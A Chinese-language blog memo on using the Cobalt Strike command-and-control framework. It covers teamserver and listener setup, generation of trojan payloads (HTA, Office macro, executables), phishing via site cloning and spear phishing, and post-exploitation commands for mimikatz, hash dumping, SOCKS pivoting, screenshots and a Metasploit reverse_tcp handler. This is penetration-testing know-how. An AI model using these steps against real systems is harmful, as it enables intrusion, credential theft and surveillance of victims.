How To Use Cobalt Strike(备忘录)

Word count: 1,105 / Reading time: 5 min

 2019/04/21   Share

How To Use Cobalt Strike(备忘录)

下载地址参考lz1y师傅的
https://xz.aliyun.com/t/2170

记录一下Cobalt Strike一些简单的使用

Info

kali 192.168.107.145
vps 34.xx.xx.xx

Service On

Local

直接在kali运行

1 2	# 本地默认密码12345 ./teamserver 127.0.0.1 12345

With VPS

vps上运行

1 2	./teamserver IP 密码 ./teamserver 34.xx.xx.xx hu3sky

然后在用kali

User随意填写 Password就填刚才设置的hu3sky

Listener

两种listener，一种是beacon,另一种是foreign

1
2
3


beacon 为cs内置监听器,也就是说,当我们在目标系统成功执行payload以后,会弹回一个beacon的shell给cs,该shell所支持的通信协议主要包括这几种,dns,https,http,smb[pipe],另外,beacon shell的内置功能也非常多
foreign 主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器

新建一个Listener

1	Cobalt Strike->Listener->add

Packages


Packages 攻击方式
HTML Application 生成恶意的HTA木马文件；
MS Office Macro 生成office宏病毒文件；
Payload Generator 生成各种语言版本的payload;
USB/CD AutoPlay 生成利用自动播放运行的木马文件；
Windows Dropper 捆绑器，能够对文档类进行捆绑；
Windows Executable 生成可执行exe木马；
Windows Executable(S)生成无状态的可执行exe木马。

目标机上运行后

Pivot Graph 是可视化

红色的是已经拿到了最高权限（两个用户同一个机器上的）

在目标机出右键选择Interact即可进入beacon 终端

Web Drive-by（钓鱼攻击）

Manage对开启的web服务进行管理；
Clone Site 克隆网站，可以记录受害者提交的数据；
Host File 提供一个文件下载，可以修改Mime信息；
PowerShell Web Delivery类似于msf 的web_delivery ;
Signed Applet Attack 使用java自签名的程序进行钓鱼攻击;
Smart Applet Attack 自动检测java版本并进行攻击，针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本；
System Profiler用来获取一些系统信息，比如系统版本，Flash版本，浏览器版本等。
Spear Phish 是用来邮件钓鱼的模块

Viewer

View模块可以方便测试者查看各个模块，图形化的界面可以方便的看到受害者机器的各个信息。
Applications显示受害者机器的应用信息；
Credentials显示受害者机器的凭证信息，能更方便的进行后续渗透；
Downloads 文件下载；
Event Log可以看到事件日志，清楚的看到系统的事件,并且团队可以在这里聊天;
Keystrokes查看键盘记录；
Proxy Pivots查看代理信息；
Screenshots查看屏幕截图；
Script Console在这里可以加载各种脚本以增强功能
Targets查看目标；
Web Log查看web日志。

Reporting生成报告

activity report 活动报告生成
Hosts report 主机报告
Indicators opromisef com  目标报告
Sessions report 会话报告
Social engineering report 社会工程报告
Export data  数据出口

后渗透

dump hash（管理员权限）

run mimikatz（管理员权限）

portscan

1	portscan 192.168.107.1/24 1-6000 arp 10

socks

beacon> socks 1234


vi /etc/proxychains.conf
socks4 53.3.3.6 1234


socks stop  #关闭socks

或者代理msf
先执行

1	beacon> socks 1234

View->proxy pivots
点击Tunnel生成msf的代理命令

接着msf执行该命令

Screenshots

1	beacon>screenshot

然后打开View->Screenshots，则可以看到屏幕截图

或者

System Profiler 模块

搜集目标的各类机器信息（操作系统版本，浏览器版本等）

1	Attacks->web drive-by->System Profiler

使用目标机访问，重定向到baidu

接着View->Application

端口转发

1 2	rportfwd 389 192.168.20.112 3389 //转发192.168.20.112的3389端口到本机 rportfwd stop 389 //停止389转发

Powershell

填坑后面深入研究下Powershell的使用再来补充

MSF联合CS

在MSF下执行以下命令：

msf > use exploit/multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.100
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit

Cobalt Strik中执行，先添加一个监听命令，名称为:msf payload选择：windows/foreign/reverse_tcp 监听端口：4444

选择受害者主机，然后右击Spawn

原文作者: Hu3sky

原文链接: http://yoursite.com/2019/04/21/Cobalt Strike/

发表日期: April 21st 2019, 10:01:00 am

Next Post

DDCTF部分 Write up
Previous Post

Content Security Policy&Bypass

